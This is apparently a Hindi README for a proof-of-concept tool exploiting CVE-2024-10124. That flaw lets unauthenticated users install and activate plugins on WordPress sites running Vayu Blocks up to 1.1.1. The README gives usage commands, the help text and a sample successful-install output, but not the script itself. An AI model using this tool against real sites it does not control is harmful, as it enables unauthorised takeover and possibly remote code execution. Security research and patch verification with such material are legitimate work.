
WordPress Vayu Blocks प्लगइन में CVE-2024-10124 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो अनधिकृत प्लगइन इंस्टॉलेशन और सक्रियण की अनुमति देता है, जिससे संभावित रूप से रिमोट कोड निष्पादन प्राप्त किया जा सकता है।
WordPress के लिए Vayu Blocks – Gutenberg Blocks for WordPress & WooCommerce प्लगइन, tp_install() फ़ंक्शन में क्षमता जाँच (capability check) की कमी के कारण, 1.1.1 तक के सभी संस्करणों (1.1.1 सहित) में अनधिकृत रूप से मनमाने प्लगइन की स्थापना और सक्रियण के प्रति भेद्य है। यह अप्रमाणित हमलावरों के लिए मनमाने प्लगइन स्थापित करना और सक्रिय करना संभव बनाता है, जिसका उपयोग दूरस्थ कोड निष्पादन (remote code execution) प्राप्त करने के लिए किया जा सकता है, यदि कोई अन्य भेद्य प्लगइन स्थापित और सक्रिय हो। यह भेद्यता संस्करण 1.1.1 में आंशिक रूप से पैच की गई थी।
python CVE-2024-10124.py -u http://192.168.100.74/wordpress --check-version
यह यह निर्धारित करने के लिए vayu-blocks प्लगइन के संस्करण की जाँच करेगा कि साइट भेद्य है या नहीं।
python CVE-2024-10124.py -u http://192.168.100.74/wordpress
यह डिफ़ॉल्ट प्लगइन hello-dolly स्थापित करेगा
python CVE-2024-10124.py -u http://192.168.100.74/wordpress -p plugin_name
यह लक्षित साइट पर plugin_name प्लगइन स्थापित करेगा।
options:
-h, --help show this help message and exit
-u URL, --url URL Target URL (e.g., http://192.168.100.74/wordpress)
-p PLUGIN, --plugin PLUGIN
Plugin name (default: hello-dolly)
--check-version Check if the site is vulnerable based on plugin version
Response Status Code: 200
The plugin has been successfully uploaded and activated.
Response Content: "http:\/\/192.168.100.74\/wordpress"
यह स्क्रिप्ट केवल शैक्षिक उद्देश्यों के लिए प्रदान की गई है। इस स्क्रिप्ट के दुरुपयोग से होने वाली किसी भी क्षति के लिए लेखक जिम्मेदार नहीं है।
| 🔍 | कमांड | विवरण | उदाहरण |
|---|
| 🌐 | -u या --url | वर्डप्रेस साइट के लिए लक्षित URL निर्दिष्ट करें। | -u http://192.168.100.74/wordpress |
| 🔒 | --check-version | जाँचें कि क्या साइट संस्करण के आधार पर भेद्य है। | -u http://192.168.100.74/wordpress --check-version |
| ⚙️ | -p या --plugin | प्लगइन का नाम निर्दिष्ट करें (डिफ़ॉल्ट hello-dolly है)। | -u http://192.168.100.74/wordpress -p plugin_name |